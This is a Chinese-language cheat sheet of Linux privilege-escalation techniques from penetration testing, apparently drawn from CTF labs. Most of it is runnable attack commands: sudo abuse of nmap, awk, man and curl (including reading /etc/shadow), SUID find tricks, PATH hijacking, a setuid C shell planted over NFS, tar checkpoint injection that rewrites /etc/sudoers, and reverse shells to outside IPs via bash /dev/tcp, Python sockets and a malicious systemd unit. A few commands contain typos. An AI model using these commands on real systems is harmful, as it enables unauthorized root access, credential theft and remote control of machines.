为什么权限提升很重要:
在实际渗透测试时,很少能获得立足点,获得一个立足点后,权限提升就显得非常重要了
权限提升后:
重置密码
绕过访问控制以及泄露受保护的数据
编辑软件配置
启用持久性
更改现有或者新的用户权限
执行任何管理命令
lsb_release:查看linux的发行版信息
uname :查看内核版本
密码复用提权:
数据库,后台web密码,/var/www/html文件中的配置文件中的密码。 可能就是root的密码
如果用户在nmap上有sudo权限:
1. 检查当前用户拥有sudo权限的列表(无需密码“NOPASSWD”)
- sudo -l
2. 执行nmap的可交互模式
- sudo nmap --interactive
3.然后在nmap交互模式下键入!bash,即可得到bash的root权限
- !bash or !sh
- whoami
sudo:
1.awk
sudo awk 'BEGIN {system("/bin/sh")}'
2.man
sudo man man
在下面直接 /bin/sh提权
3.curl
sudo curl file:///etc/shadow
服务漏洞
netstat -antup #查看各种网络服务
然后把敏感端口转发出来,用本地的工具进行攻击,可能拿到远程 root,即通过漏洞拿到 root 权限windows 用 lcx 做端口转发,linux 用 nc、socat 做端口转发
find命令提权
# 用find 命令查找 有超级属性的文件
find / -perm -u=s -type f 2>/dev/null
# 查看是否可以用root 命令执行命令
sudo find `which find` -exec whoami \;
# 命令解释: 以find 命令 执行 whoami 命令。
# find (一个路径或文件必须存在) -exec 执行命令 (结束)\;
# 用find 命令执行
sudo find /etc/passwd -exec bash -ip >& /dev/tcp/192.168.2.128/4444 0>&1 \;
find / -type f -perm -04000 -ls 2>/dev/null
查看suid
# python 方式反弹
sudo find /etc/passwd -exec python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.128",9919));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-ip"]);' \;
SUID:
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;
不同系统使用不同的命令
bease64:
base64 "$LFILE" | base64 --decode
menu:
echo "/bin/sh" > curl
chmod 777 curl
export PATH=/tmp:$PATH 设置环境变量先从tmp中寻找
/usr/bin/menu
php命令提权:
/usr/bin/php7.2 -r "pcntl_exec('/bin/sh', ['-p']);"
我们复制了 /bin/sh shell,称之为 curl,赋予它正确的权限,然后将其位置放在我们的路径中。这意味着当 /usr/bin/menu 二进制文件运行时,它使用我们的路径变量来查找 “curl” 二进制文件。这实际上是 /usr/sh 的一个版本,以及这个以 root 身份运行的文件,它以 root 身份运行我们的 shell!
systemctl提权:
首先创建一个service unit来被systemctl加载
echo '[Service]
Type=oneshot
ExecStart=/bin/bash -c "/bin/bash -i > /dev/tcp/x.x.x.x/xxx 0>&1 2<&1"
[Install]
WantedBy=multi-user.target' > mm.service
#生成的unit名位mm.service
把unit放置在合适的位置
通常unit存放在/usr/lib/systemd/system/ 和 /etc/systemd/system/,可以被systemctl加载执行, 但是渗透过程中需要提权的场景往往权限较小,这些目录不可写。而systemctl的特性决定了,当unit在/tmp目录下时, 无法被systemctl加载。
这里就可以把我们生成的unit文件放置再这个目录
攻击机上起监听:
nc -lnvvp xxxx
靶机:
systemctl link /dev/shm/mm.service
systemctl enable --now /dev/shm/mm.service
系统管理员可以用来提高进程或二进制文件权限级别的另一种方法是“功能”。功能有助于在更精细的级别管理权限,简单来说,就是某些特定的人需要使用特定的功能但又不想赋予它特定的权限,这个时候就需要这种办法,更改这文件的功能,使他不需要特定的高权限账号,使用低权限用户也能完成任务
bash提权:
不论是怎么命名的bash如:.suid_bath
直接bath -p 进行尝试
使用getcap列出已经启用的功能:
getap -r / 2>/dev/null
vim:
./vim -c 'py3 import os;os.setuid(0); os.execl("/bin/sh","sh","-c","reset; exec sh")'
计划任务提权:
前提是有在tmp目录下或者低权限用户能够编辑的目录下有计划
$PATH环境变量提权:
find / -perm -u=s -type f 2
因为所有用户对tmp都具有权限
查看当前环境变量 echo $PATH
export PATH=/tmp:$PATH 设置环境变量先从tmp中寻找
echo $PATH
cd /tmp
echo "/bin/bash" > thm #此处的thm为自定义名称
ls
chmod +x thm #附加可执行权限
NFS提权:
cat /etc/exports 查看共享
showmount -e ip 在攻击机上查看靶机的可挂载共享
找一个为no_root_squash(表示禁用了对远程root的权限限制,这意味着远程root用户在访问NFS共享时具有和本地root权限一样的权限)
进入攻击机的共享目录下,编写c文件:
#include
#include
#include
int main (void) {
setuid(0);
setgid(0);
system("/bin/bash");
return 0;
}
编译并赋予执行权限:
gcc shell.c -o shell -w
chmod +s shell
ls -l shell
因为我们挂载了共享,所以在目标机上可以找到我们刚才在攻击机上得到的名为shell的文件;在目标机上执行shell文件即可提权。
web用户提权:
python -c 'import pty;pty.spawn("/bin/bash")';
我移动到 /var/www/html(这是 tar'd 的目录)并运行了以下内容。
echo 'echo "www-data ALL=(root) NOPASSWD: ALL" > /etc/sudoers' > privesc.sh
echo "/var/www/html" > "--checkpoint-action=exec=sh privesc.sh"
echo "/var/www/html" > --checkpoint=1
过了一会儿,我运行了“sudo -l”,结果如下:
User www-data may run the following commands on skynet: (root) NOPASSWD: ALL
得到最高权限
Linux提权之/var/www/html下:
首先如果是从web站点进去,先到web站点下看配置文件有没有泄露密码的地方
然后在看用户的数量,有几个用户,在web泄露的密码是不是能登录上其中的一个用户,如果能登上在进行后续操作。